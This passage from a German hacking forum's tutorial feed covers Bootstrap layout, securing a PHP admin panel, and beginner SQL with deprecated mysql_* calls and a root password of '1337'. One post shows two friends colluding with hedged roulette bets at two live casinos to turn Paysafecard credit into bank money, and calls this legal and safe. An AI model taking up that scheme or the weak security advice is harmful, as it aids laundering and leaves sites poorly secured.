&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td&gt;</span>Benutzer<span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td&gt;</span><span style="color:#000080">&lt;button class=<span style="color:#0000FF">&quot;btn pull-right&quot;</span>&gt;</span>Bearbeiten<span style="color:#000080">&lt;/button&gt;</span><span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;/tr&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;tr&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td&gt;</span>#2<span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td&gt;</span>Testartikel<span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td&gt;</span>Benutzer<span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td&gt;</span><span style="color:#000080">&lt;button class=<span style="color:#0000FF">&quot;btn pull-right&quot;</span>&gt;</span>Bearbeiten<span style="color:#000080">&lt;/button&gt;</span><span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;/tr&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;tr&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td&gt;</span>#3<span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td&gt;</span>Testartikel<span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td&gt;</span>Benutzer<span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td&gt;</span><span style="color:#000080">&lt;button class=<span style="color:#0000FF">&quot;btn pull-right&quot;</span>&gt;</span>Bearbeiten<span style="color:#000080">&lt;/button&gt;</span><span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;/tr&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;tr&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td&gt;</span>#4<span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td&gt;</span>Testartikel<span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td&gt;</span>Benutzer<span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;td&gt;</span><span style="color:#000080">&lt;button class=<span style="color:#0000FF">&quot;btn pull-right&quot;</span>&gt;</span>Bearbeiten<span style="color:#000080">&lt;/button&gt;</span><span style="color:#008080">&lt;/td&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;/tr&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#008080">&lt;/table&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;row&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;span4&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;thumbnail&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#800080">&lt;img src=<span style="color:#0000FF">&quot;http://www.placehold.it/280x185&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;span4&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;div class=<span style="color:#0000FF">&quot;thumbnail&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#800080">&lt;img src=<span style="color:#0000FF">&quot;http://www.placehold.it/280x185&quot;</span>&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color:#000080">&lt;/div&gt;</span><br />
<span style="color:#000080">&lt;/body&gt;</span><br />
<span style="color:#000080">&lt;/html&gt;</span></code><hr />
</div>
</div>
</div>
</div><br />
<br />
Man sieht: Auch ohne genaue CSS Kentnisse ist ein schnelles und logisches erstellen von Designs mithilfe von Bootstrap möglich. Alles was man sich merken muss sind die dementsprechenden Klassen. Alles was ich nun nicht angesprochen habe, könnt ihr in der offiziellen Dokumentation (welche ziemlich gut ist!) auf <a href="http://twitter.github.com/bootstrap/index.html" target="_blank" rel="nofollow">Twitter Bootstrap</a> nachlesen.<br />
<br />
Bei Fragen steht der Topic euch jederzeit offen :)</div>

]]></content:encoded>
			<category domain="tutorials-107">Tutorials</category>
			<dc:creator>Comu</dc:creator>
			<guid isPermaLink="true">tutorials-107/css-eigenes-design-mit-bootstrap-16266</guid>
		</item>
		<item>
			<title><![CDATA[[HowTo] Administrations-Panel absichern (PHP/htaccess)]]></title>
			<link>tutorials-107/howto-administrations-panel-absichern-php-htaccess-15866?goto=newpost</link>
			<pubDate>Sat, 25 Aug 2012 07:55:33 GMT</pubDate>
			<description>Hey, 
ich sehe heutzutage immer öfters das irgendwelche Leute Probleme haben, weil Zugriff auf deren ACP erfolgt ist und somit meist auch auf die...</description>
			<content:encoded><![CDATA[<div>Hey,<br />
ich sehe heutzutage immer öfters das irgendwelche Leute Probleme haben, weil Zugriff auf deren ACP erfolgt ist und somit meist auch auf die Datenbank. Wenn man schon sämtliche Steuerung auf einen bestimmten Bereich legt, sollte man auch schauen das man diesen dementsprechend sichert.<br />
<br />
Vorrausgesetzt ist ein korrekt eingerichteter Webserver und die neusten Versionen von PHP MySQL und co. um so Standardsituationen seitens des Servers zu vermeiden. Wenn ihr das mitbringt, helfen euch eventuell diese Schritte, um das ACP noch zu sichern:<br />
<br />
<b>1. IP-Subnets oder nur komplette IP's zulassen</b><br />
Diese Idee ist mir vor ein paar Monaten gekommen und ich muss sagen, ich benutze Sie recht erfolgreich. Bei dynamischen IP-Adressen kann man die Subnets (die ersten 2 Ziffern) abspeichern und nur Zugriff auf die Webseite geben, bei statischen die komplette IP. Selbst mit dem Subnet sollten in etwa 70% der Angreifer die irgendetwas versuchen abgeblockt werden. Es kann natürlich auch passieren das sich das Subnet mal ändert, das passiert dann aber nur alle 2-3 Wochen maximal (nach meinen Erfahrungen).<br />
<br />
Ein Beispiel:<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">&lt;?php<br />&nbsp;$ip&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">explode</span><span style="color: #007700">(</span><span style="color: #DD0000">'.'</span><span style="color: #007700">,</span><span style="color: #0000BB">$_SERVER</span><span style="color: #007700">&#91;</span><span style="color: #DD0000">'REMOTE_ADDR'</span><span style="color: #007700">&#93;);<br /><br />&nbsp;if(</span><span style="color: #0000BB">$ip</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">0</span><span style="color: #007700">&#93;.</span><span style="color: #DD0000">'.'</span><span style="color: #007700">.</span><span style="color: #0000BB">$ip</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">1</span><span style="color: #007700">&#93;&nbsp;!=&nbsp;</span><span style="color: #DD0000">'82.192'</span><span style="color: #007700">)<br />&nbsp;{<br />&nbsp;&nbsp;echo&nbsp;</span><span style="color: #DD0000">'Keinen&nbsp;Zugriff'</span><span style="color: #007700">;<br />&nbsp;&nbsp;exit;<br />&nbsp;}<br /></span><span style="color: #0000BB">?&gt;</span>
</span>
</code></code><hr />
</div><b>2. Administrationsordner richtig bennen und nicht verlinken!</b><br />
Der Administrationsordner sollte nicht unbedingt 'admin' oder 'panel' heißen. Eventuell auch ein kleiner Mix aus Buchstaben und Zahlen. Desweiteren sollte man darauf achten das man den Link nicht Public auf die Webseite schreibt (wie &gt;&gt; Zum Administrationsbereich). Wenn überhaupt sollte man dies nur tuen wenn das ganze mit einem Loginsystem für Benutzer verknüpft ist und man den Link dann dementsprechend nur für Administratoren ausgibt.<br />
<br />
<b>3. htaccess verwenden</b><br />
Ein Passwort muss nicht unbedingt genug sein. Ich empfehle hier auf jeden Fall noch ein weiteres Passwort und eventuell einen standardmäßigen Nutzer.<br />
<br />
<b>4. Bild anstatt Passwort-Login im ACP</b><br />
Die Idee kam mir damals und ich finde sie um einiges sicherer als normale Passwörter. Man muss ein Bild hochladen, mit PHP überprüft man dann ob beispielsweise jeder 2. Pixel übereinstimmt und speichert dazu noch namen o.Ä. der Datei verschlüsselt mit ab. Ich habe noch keinen gesehen der 100000 Bilder auf dem PC hat um zu überprüfen ob ein Login stimmt.<br />
<br />
<b>5. IP's blocken</b><br />
Falls das Subnet stimmt, die Person durch die htaccess Datei gekommen ist und nun mit den Bildern rumprobiert wäre es schlau diesen irgendwann zu blocken. Nach 3-5 versuchen mit einem falschen Passwort (kann man ja in der Datenbank abspeichern) sollte man die IP für einen kompletten Tag sperren. Das wechseln der IP wird zwar recht schnell gehen, von daher kann man dann checken ob es wieder das gleiche Subnet ist. Wenn ja, blockt man dieses kurzzeitig für 15 Minuten o.Ä.. Die meisten BOT's/Scripte hören dann auf, bis sie neugestartet werden.<br />
<br />
<b>6. Dateien richtig einbinden</b><br />
Die Seitensysteme wie admin.php?page=members sind noch immer sehr viel benutzt. Man sollte hier aber schauen, wenn man diese über GET einbindet, ob sie auch wirklich über die admin.php eingebunden wurde. Meistens ist der Schutz gegen das einloggen auf der admin.php, aber beispielsweise nicht auf der /pages/members.php wo die Seite eigentlich herkommt. Dafür gibt es eine einfache Möglichkeit: Wir setzen uns eine Variable/Konstante in der admin.php und überprüfen auf jeder Unterseite ob diese Variable gesetzt ist. Wenn nicht, hat der Benutzer keinen Zugriff.<br />
<br />
Im Backend sollte man mit diesen Tipps 99% der Angreifer bei korrekt konfiguriertem Server abhalten können. Ich kenne wirklich keinen, der bis jetzt durch all diese Sicherheitsmaßnahmen durchgekommen ist, wobei das sicherlich auch nicht mehr lange dauern wird.<br />
<br />
MfG</div>

]]></content:encoded>
			<category domain="tutorials-107">Tutorials</category>
			<dc:creator>Comu</dc:creator>
			<guid isPermaLink="true">tutorials-107/howto-administrations-panel-absichern-php-htaccess-15866</guid>
		</item>
		<item>
			<title>Paysafecard auf Bankkonto auszahlen lassen! (2-4% verlust)</title>
			<link>tutorials-107/paysafecard-bankkonto-auszahlen-lassen-2-4-verlust-15833?goto=newpost</link>
			<pubDate>Thu, 23 Aug 2012 15:04:39 GMT</pubDate>
			<description>Hallo,  
 
sicherlich habt ihr schonmal überlegt, wie euer Paysafecard-Guthaben auf euer Bankkonto auszahlen lassen könnt, oder?! Ich habe mal ein...</description>
			<content:encoded><![CDATA[<div>Hallo, <br />
<br />
sicherlich habt ihr schonmal überlegt, wie euer Paysafecard-Guthaben auf euer Bankkonto auszahlen lassen könnt, oder?! Ich habe mal ein bisschen im Internet rumgeschnöbert und eine <u>legale</u> Methode dazu gefunden: <br />
<br />
<div style="margin-left:40px"><div style="margin-left:40px"><span style="text-shadow: 0px 0px 10px #8d8d8d"><b><u>Die Vorraussetzungen: </u></b></span><br />
:arrowt: 2 Personen - <u>beide mind. 18 Jahre</u> <br />
:arrowt: 2 verschiedene Live Casino's<br />
:arrowt: 1-2 Minuten Zeit<br />
<br />
<b><u><span style="text-shadow: 0px 0px 10px #8d8d8d">Der Ablauf:</span></u></b><br />
<br />
<u>:arrowt: Schritt 1:</u> <br />
<font color="Red">Freund A</font> meldet sich bei <font color="red">Livecasino A</font> an. <br />
<font color="SeaGreen">Freund B</font> meldet sich bei <font color="seagreen">Livecasino B</font> an.<br />
(Im Beispiel wird davon ausgegangen, dass du eine 100&#8364; Paysafecard hast.)<br />
<br />
<u>:arrowt: Schritt 2:</u><br />
<font color="Red">Freund A</font> zahlt 50&#8364; bei <font color="red">Livecasino A</font> ein. <br />
<font color="SeaGreen">Freund B</font>  zahlt 50&#8364; bei <font color="seagreen">Livecasino B</font> ein.<br />
<br />
<u>:arrowt: Schritt 3:</u><br />
<font color="Red">Freund A</font> wählt bei <font color="red">Livecasino A</font> Live Roulette aus, mit dem Dealer &quot;HansPeter&quot;<br />
<font color="SeaGreen">Freund B</font> wählt ebenfalls bei <font color="seagreen">Livecasino B</font> Live Roulette aus und sicht ebenfalls den Tisch mit dem Dealer Namens &quot;HansPeter&quot;<br />
- Nun sitzt ihr beiden am selben Tisch!<br />
<br />
<u>:arrowt: Schritt 4:</u><br />
Nun fängt eine Runde an, <font color="Red">Freund A</font> setzt 49&#8364; auf Rot und 1 &#8364; auf Grün bzw. (0, Null) beim <font color="red">Livecasino A</font>.<br />
<font color="SeaGreen">Freund B</font> setzt 48&#8364; auf Schwarz und 2&#8364; auf Grün bzw. (0, Null) beim <font color="seagreen">Livecasino B</font>.<br />
<br />
<u>:arrowt: Schritt 5:</u><br />
Wenn Rot rauskommt: Hat <font color="Red">Freund A</font> 98&#8364; auf seinem <font color="Red">Livecasino A</font>-Konto.<br />
Wenn Schwarz rauskommt: Hat <font color="SeaGreen">Freund B</font> 96&#8364; auf seinem <font color="seagreen">Livecasino B</font>-Konto.<br />
Wenn Grün bzw. (0, Null) rauskommt: Hat <font color="Red">Freund A</font> 36&#8364; auf seinem <font color="Red">Livecasino A</font>-Konto und <font color="SeaGreen">Freund B</font> hat 2 * 36&#8364; = 72&#8364; auf seinem <font color="seagreen">Livecasino B</font>-Konto. <br />
- Also insgesamt: <u>108&#8364;</u><br />
<br />
<u>:arrowt: Schritt 6:</u><br />
 Je nachdem wer gewonnen hat, bzw. wenn beide gewonen haben, beantragt man nun eine Auszahlung (Moneybookers oder Bankkonto) und lässt sich das erste Mal kurz durch Persokopie verifzieren.</div></div>Ich weiss selber, dass es etwas umständlich ist, aber dafür ist es legal uns sicher! - Vielleicht können es ja einige in der Praxis gebrauchen. <br />
<br />
Mit freundlichem Gruß!</div>

]]></content:encoded>
			<category domain="tutorials-107">Tutorials</category>
			<dc:creator>Prinzessin Paat</dc:creator>
			<guid isPermaLink="true">tutorials-107/paysafecard-bankkonto-auszahlen-lassen-2-4-verlust-15833</guid>
		</item>
		<item>
			<title><![CDATA[[Tutorial] SQL für Einsteiger (Teil 1)]]></title>
			<link>tutorials-107/tutorial-sql-fuer-einsteiger-teil-1-15065?goto=newpost</link>
			<pubDate>Wed, 25 Jul 2012 17:12:08 GMT</pubDate>
			<description>Guten Abend liebe Community, 
 
ich will wieder aktiver werden und aus diesem Grund folgt hier nun ein Tutorial zum Thema SQL. 
 
_1.0 Was ist SQL?_...</description>
			<content:encoded><![CDATA[<div>Guten Abend liebe Community,<br />
<br />
ich will wieder aktiver werden und aus diesem Grund folgt hier nun ein Tutorial zum Thema SQL.<br />
<br />
<font color="Red"><u>1.0 Was ist SQL?</u></font><br />
<br />
SQL bedeutet Structured Query Language und wird dafür benutzt mit Datenbanken zu arbeiten, man kann mit SQL z.B. neue Datenbanken oder Tabellen erstellen, diese mit Daten füllen, sie verändern oder auch wieder löschen.<br />
Ein einfaches Bespiel wäre z.B. U-Hacks. U-Hacks benutzt auch eine Datenbank, in der viele Datensätze gespeichert werden, es gibt eine Tabelle für die Benutzer, die z.B. users heißen kann. In dieser Tabelle sind dann die Informationen über einen Benutzer gespeichert, wie z.B. sein Username, sein Passwort (natürlich verschlüsselt), seine Email-Adresse etc.<br />
Diese Daten können mit SQL eingetragen werden (wenn man sich registriert) oder verändert werden (wenn man z.B. sein Passwort ändert) oder gelöscht werden.<br />
In einer Datenbank werden aber auch andere Daten gespeichert, wie z.B. dieser Thread hier, der dann über die ID abgerufen werden kann.<br />
Mit SQL kann man also gezielte Befehle an eine Datenbank senden um Informationen zu erhalten.<br />
<br />
<font color="red"><u>1.1 Verbindung herstellen</u></font><br />
<br />
Achtung: Diese Funktionen beziehen sich auch MySQL.<br />
<br />
Bevor man eine Datenbank erstellen kann muss man sich zu dem Datenbankserver verbinden. Wie macht man das also?<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">mysql_connect</span><span style="color: #007700">(</span><span style="color: #0000BB">Datenbankserver</span><span style="color: #007700">,</span><span style="color: #0000BB">Benutzername</span><span style="color: #007700">,</span><span style="color: #0000BB">Passwort</span><span style="color: #007700">);&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>Beispiel:<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">mysql_connect</span><span style="color: #007700">(</span><span style="color: #DD0000">"localhost"</span><span style="color: #007700">,</span><span style="color: #DD0000">"root"</span><span style="color: #007700">,</span><span style="color: #DD0000">"1337"</span><span style="color: #007700">);&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>Nun kann man noch prüfen ob die Verbindung erfolgreich war oder eine Fehlermeldung ausgeben:<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">$verbindung&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">mysql_connect</span><span style="color: #007700">(</span><span style="color: #DD0000">"localhost"</span><span style="color: #007700">,</span><span style="color: #DD0000">"root"</span><span style="color: #007700">,</span><span style="color: #DD0000">"1337"</span><span style="color: #007700">);<br />if&nbsp;(!</span><span style="color: #0000BB">$verbindung</span><span style="color: #007700">)<br />&nbsp;&nbsp;{<br />&nbsp;&nbsp;die(</span><span style="color: #DD0000">'Verbindung&nbsp;zur&nbsp;Datenbank&nbsp;fehlgeschlagen:&nbsp;'&nbsp;</span><span style="color: #007700">.&nbsp;</span><span style="color: #0000BB">mysql_error</span><span style="color: #007700">());<br />&nbsp;&nbsp;}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>Dieser Fehler wird nur dann ausgegeben, wenn keine Verbindung hergestellt werden konnte.<br />
<br />
Die Verbindung zur Datenbank wird automatisch beendet, wenn das Skript endet, will man dies allerdings schon vorher machen, geht das so:<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">$verbindung&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">mysql_connect</span><span style="color: #007700">(</span><span style="color: #DD0000">"localhost"</span><span style="color: #007700">,</span><span style="color: #DD0000">"root"</span><span style="color: #007700">,</span><span style="color: #DD0000">"1337"</span><span style="color: #007700">);<br />if&nbsp;(!</span><span style="color: #0000BB">$verbindung</span><span style="color: #007700">)<br />&nbsp;&nbsp;{<br />&nbsp;&nbsp;die(</span><span style="color: #DD0000">'Verbindung&nbsp;zur&nbsp;Datenbank&nbsp;fehlgeschlagen:&nbsp;'&nbsp;</span><span style="color: #007700">.&nbsp;</span><span style="color: #0000BB">mysql_error</span><span style="color: #007700">());<br />&nbsp;&nbsp;}<br /></span><span style="color: #0000BB">mysql_close</span><span style="color: #007700">(</span><span style="color: #0000BB">$verbindung</span><span style="color: #007700">);&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div><u><font color="Red">1.2.1 Eine Datenbank erstellen</font></u><br />
<br />
Eine neue Datenbank zu erstellen ist ganz einfach:<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">CREATE&nbsp;DATABASE&nbsp;Datenbankname&nbsp;<br /></span>
</span>
</code></code><hr />
</div>Etwas anschaulicher:<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">$verbindung&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">mysql_connect</span><span style="color: #007700">(</span><span style="color: #DD0000">"localhost"</span><span style="color: #007700">,</span><span style="color: #DD0000">"root"</span><span style="color: #007700">,</span><span style="color: #DD0000">"1337"</span><span style="color: #007700">);<br />if&nbsp;(!</span><span style="color: #0000BB">$verbindung</span><span style="color: #007700">)<br />&nbsp;&nbsp;{<br />&nbsp;&nbsp;die(</span><span style="color: #DD0000">'Fehler&nbsp;bei&nbsp;der&nbsp;Verbindung:&nbsp;'&nbsp;</span><span style="color: #007700">.&nbsp;</span><span style="color: #0000BB">mysql_error</span><span style="color: #007700">());<br />&nbsp;&nbsp;}<br /><br />if&nbsp;(</span><span style="color: #0000BB">mysql_query</span><span style="color: #007700">(</span><span style="color: #DD0000">"CREATE&nbsp;DATABASE&nbsp;meine_datenbank"</span><span style="color: #007700">,</span><span style="color: #0000BB">$verbindung</span><span style="color: #007700">))<br />&nbsp;&nbsp;{<br />&nbsp;&nbsp;echo&nbsp;</span><span style="color: #DD0000">"Datenbank&nbsp;erstellt!"</span><span style="color: #007700">;<br />&nbsp;&nbsp;}<br />else<br />&nbsp;&nbsp;{<br />&nbsp;&nbsp;echo&nbsp;</span><span style="color: #DD0000">"Es&nbsp;ist&nbsp;ein&nbsp;Fehler&nbsp;aufgetreten:&nbsp;"&nbsp;</span><span style="color: #007700">.&nbsp;</span><span style="color: #0000BB">mysql_error</span><span style="color: #007700">();<br />&nbsp;&nbsp;}<br /><br /></span><span style="color: #0000BB">mysql_close</span><span style="color: #007700">(</span><span style="color: 